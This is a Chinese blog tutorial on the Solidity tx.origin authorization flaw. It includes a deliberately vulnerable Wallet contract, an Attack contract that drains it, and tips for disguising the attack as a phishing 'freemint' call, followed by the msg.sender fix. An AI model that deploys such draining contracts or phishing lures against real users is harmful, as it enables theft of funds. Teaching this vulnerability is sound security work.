在合约代码中,最常用的是使用msg.sender来检查授权,但有时由于有些程序员不熟悉tx.origin和msg.sender的区别,如果使用了tx.origin可能导致合约的安全问题。黑客最典型的攻击场景是利用tx.origin的代码问题常与钓鱼攻击相结合的组合拳
的方式进行攻击。
在合约代码中,最常用的是使用msg.sender来检查授权,但有时由于有些程序员不熟悉tx.origin和msg.sender的区别,如果使用了tx.origin可能导致合约的安全问题。黑客最典型的攻击场景是利用tx.origin的代码问题常与钓鱼攻击相结合的组合拳
的方式进行攻击。
tx.origin 是 Solidity 中的一个全局变量,它返回发送交易的账户地址。
通过调用tx.origin来检查授权可能会导致合约受到攻击,因为 tx.origin 返回交易的原始发送者,因为攻击的调用链可能是原始发送者->攻击合约-> 受攻击合约。在受攻击合约中,tx.origin是原始发送者。
以太坊账户分两种,外部账户(EOA)和合约账户(SCA)。
外部账户 EOA
合约账户
tx.origin:表示最初的调用者,通常取得的是EOA的地址。
msg.sender:表示最近的调用者,通常取得是的上级调用者的地址,可以是EOA地址,也可以是合约地址。
如果EOA用户A调用合约B,合约B调用合约C。那么
通过判断tx.origin==msg.sender
来确定调用者是合约还是EOA账户。
😀 思考 :可不可以通过判断一个账户的是否包含执行代码来区分这个账户是EOA还是SCA?
不可以。因为一个合约地址的
CODESIZE
是大于零的,但当地址的CODESIZE
等于零时,并不能保证其为非合约,因为合约在构造阶段CODESIZE
也为零。
<aside>
</aside>
下面的漏洞合约代码,在transfer方法中做了检查,本意是只有owner可以进行transfer操作。在这里使用的是tx.origin==owner
进行检查。我们假设该Wallet合约的部署者是Alice.
contract Wallet {
address public owner;
constructor() payable {
owner = msg.sender;
}
function transfer(address payable _to, uint _amount) public {
require(tx.origin == owner, "Not owner");
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
}
黑客(假设Eve为黑客)可以这样进行漏洞利用。
Attack合约代码
contract Attack {
address payable public owner;
Wallet wallet;
constructor(Wallet _wallet) {
wallet = Wallet(_wallet);
owner = payable(msg.sender);
}
function attack() public {
wallet.transfer(owner, address(wallet).balance);
}
}
在这个过程中,Alice调用了Attack合约的attack方法,attack方法调用了wallet合约的transfer方法,在transfer方法中tx.origin是alice(在transfer方法中tx.sender是attack合约),因为alice就是Wallet合约的owner,因此通过检测,将ETH转给了黑客Eve。
还有个疑问,Alice会傻到去调用Eve的合约吗?
这依靠黑客Eve的钓鱼
的手法,如果像上面的attack方法Alice一般不会上当,但如果方法名假装成免费mint NFT的函数freemint,且代码里调用了其它的大量的正常代码,并且调用了其他的合约C,在C合约里调用wallet.transfer,可能就很难识别出该方法有问题了。而且Alice在正常生活中使用DAPP时(如使用uniswap,stepn等时),后端采用的也是调用合约方法的形式,相比于直接发送虚假链接发送钓鱼邮件类的邮件,Alice对此类钓鱼的警惕性会更低些。
所以,黑客为了钓鱼更易成功
,可以从下面方面进行增强
多个合约连接
。合约A调用合约B,合约B调用合约C,合约C调用合约D,…………,最后合约中调用wallet.transfer。社会工程学
伪装,利用贪便宜的心理,打低价或者免费mint的旗号,或者高息诱惑的方式等。receive函数
中,通过诱导用户向指定的合约转账内触发漏洞利用。如假装与用户进行换币,给客户很大的折扣诱导等。对本例中,使用msg.sender
代替 tx.origin
。确保调用者就owner。
function transfer(address payable _to, uint256 _amount) public {
require(msg.sender == owner, "Not owner");
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
SWC-115描述 https://swcregistry.io/docs/SWC-115
代码中的tx.origin==msg.sender有什么作用? https://ethereum.stackexchange.com/questions/113962/what-does-msg-sender-tx-origin-actually-do-why
使用tx-origin钓鱼 https://solidity-by-example.org/hacks/phishing-with-tx-origin
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!